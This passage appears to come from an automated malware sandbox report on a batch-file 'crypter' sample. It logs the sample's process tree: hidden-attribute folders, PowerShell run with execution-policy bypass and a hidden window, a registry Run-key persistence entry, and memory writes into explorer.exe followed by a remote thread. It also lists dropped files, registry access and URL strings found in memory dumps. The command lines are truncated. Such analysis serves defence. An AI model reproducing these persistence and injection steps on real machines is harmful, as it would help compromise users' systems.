"csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\do4x3zh4\\do4x3zh4.cmdline"" (UID: 00000000-00004252) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESC150.tmp" "%TEM ..." (UID: 00000000-00001464)40:T43a,Spawned process "cmd.exe" with commandline "/K "C:\\STAZ520_Crypter_Install.bat"" (UID: 00000000-00003400) Spawned process "attrib.exe" with commandline "attrib +h "%APPDATA%\\Microsoft\\118f410eb6ac"" (UID: 00000000-00001176) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Con ..." (UID: 00000000-00001132), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00007468) Spawned process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $ ..." (UID: 00000000-00003984), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%T ..." (UID: 00000000-00008016) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\do4x3zh4\\do4x3zh4.cmdline"" (UID: 00000000-00004252) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESC150.tmp" "%TEM ..." (UID: 00000000-00001464)41:Te90,"cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "424" "BaseAddress": "0000020B32660000" "Buffer": "000001F21BC2C700" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "424" "BaseAddress": "0000001E291822D8" "Buffer": "000000A6D955C570" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\cmd.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "452" "BaseAddress": "000001E2E26B0000" "Buffer": "0000020B3273CE60" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\attrib.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "452" "BaseAddress": "000000585813F2D8" "Buffer": "0000001E28F0C4D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\attrib.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "448" "BaseAddress": "0000018E5C220000" "Buffer": "0000020B3273D6F0" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "448" "BaseAddress": "0000007D5FB022D8" "Buffer": "0000001E28F0C4D0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "452" "BaseAddress": "000002AFF38F0000" "Buffer": "0000020B326F1300" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\reg.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "452" "BaseAddress": "000000CA749172D8" "Buffer": "0000001E28F0C6B0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\reg.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "444" "BaseAddress": "0000024C82920000" "Buffer": "0000020B326F1300" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "444" "BaseAddress": "0000007EE7F6A2D8" "Buffer": "0000001E28F0C6B0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "448" "BaseAddress": "000002478D2C0000" "Buffer": "0000020B326F1300" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "cmd.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "448" "BaseAddress": "00000057561F82D8" "Buffer": "0000001E28F0C6B0" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"} "powershell.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2288" "BaseAddress": "000001E662F60000" "Buffer": "00000247A7A93C40" "NumberOfBytesToWrite": "000011C0" "$name": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe"} "powershell.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2288" "BaseAddress": "000000C144E8E2D8" "Buffer": "000000575760BC20" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe"} "powershell.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2304" "BaseAddress": "04560000" "Buffer": "00000247A14BED18" "NumberOfBytesToWrite": "000AFA7B" "$name": "C:\\Windows\\explorer.exe"} "powershell.exe" called "CreateRemoteThread" (UID: 00000000-00008016)42:T73d,"ps_f8c40b9e.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (65006)"- Location: [%TEMP%\ps_f8c40b9e.ps1]- [targetUID: 00000000-00003984] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003984] "do4x3zh4.0.cs" has type "Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\do4x3zh4\do4x3zh4.0.cs]- [targetUID: 00000000-00008016] "do4x3zh4.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\do4x3zh4\do4x3zh4.cmdline]- [targetUID: 00000000-00008016] "__PSScriptPolicyTest_qeqb4m2e.txf.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_qeqb4m2e.txf.psm1]- [targetUID: 00000000-00001132] "e321775766cf4f3d.bat%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "__PSScriptPolicyTest_imbh4u2m.0yx.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_imbh4u2m.0yx.ps1]- [targetUID: 00000000-00008016] "__PSScriptPolicyTest_jiokcb5i.evl.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_jiokcb5i.evl.ps1]- [targetUID: 00000000-00001132] "__PSScriptPolicyTest_onkt4v5k.4r3.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_onkt4v5k.4r3.ps1]- [targetUID: 00000000-00003984] "__PSScriptPolicyTest_4qcchjtf.j01.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_4qcchjtf.j01.psm1]- [targetUID: 00000000-00003984] "__PSScriptPolicyTest_3fwyi0ub.ueu.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_3fwyi0ub.ueu.psm1]- [targetUID: 00000000-00008016]43:T645,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")44:Tc86,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYSLEEPLOOPWINDOWSIZE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYSPINCOUNTTHRESHOLD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYBASEYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTFACTORYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SMTDELAYMAXYIELD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "D0F1A5C6-FC43-48AE-99BF-EFB1C38BE9D1"; Value: "")45:Tae6,"cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\winnlsres.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll"46:Taa1,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1"47:T46d,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_jiokcb5i.evl.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_qeqb4m2e.txf.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\118f410eb6ac\e321775766cf4f3d.bat:zone.identifier" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_jiokcb5i.evl.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_qeqb4m2e.txf.psm1" "powershell.exe" writes file "%appdata%\microsoft\118f410eb6ac\e321775766cf4f3d.bat:zone.identifier" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_onkt4v5k.4r3.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_4qcchjtf.j01.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\ps_f8c40b9e.ps1"48:T452,Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp")49:Td38,Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Pattern match: "www.digicert.com1$0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1!0" Heuristic match: "om/vslogo.gi" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.digicert.com1" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.microsoft.com/pkiopsv" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "http://www.microsoft.com" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Heuristic match: "microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "stem.mp" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526726" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "www.microsoft.com/pk" Heuristic match: "tem.co" Heuristic match: "osoft.ma" Heuristic match: "xe;.ba" Heuristic match: "osoft.office.in" Heuristic match: "icrosoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "ystem.management.automation.re" Heuristic match: "system.tp" Pattern match: "www.mi" Heuristic match: "ement.au" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "3o.vu" Heuristic match: "ystem.windows.fo" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623636"4a:T7986,Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm2.5.29.10k%[" - Source: "00000000-00001132.00000000.134891.76850000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00001132.00000001.135191.5C400000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00001132.00000001.135191.5E1A0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportmpupdateservice77bdaf73-b396-481f-9042-ad358843ec24897]ttps://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&calrpc:[impservice77bdaf73-b396-481f-9042-ad358843ec24]calrpc:[impcpyacltr1d8d3448-2a8d-409f-841d-2db9e0220897]rpc" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm2.5.29.10yste2.5.29.17computername=desktop-8ld9t6ncomspec=c:\windows\system32\cmd.exelogonserver=\\desktop-8ld9t6n" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0tion1%0" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00001132.00000001.135191.76850000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00001132.00000001.135191.76A10000.00000004.mdmp") Found URL "http://www.microsoft.comhttp://www.microsoft.com20230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkc5n6washington1redmond1microsoft" - Source: "00000000-00001132.00000001.135191.76A70000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxxsu$was.,k" - Source: 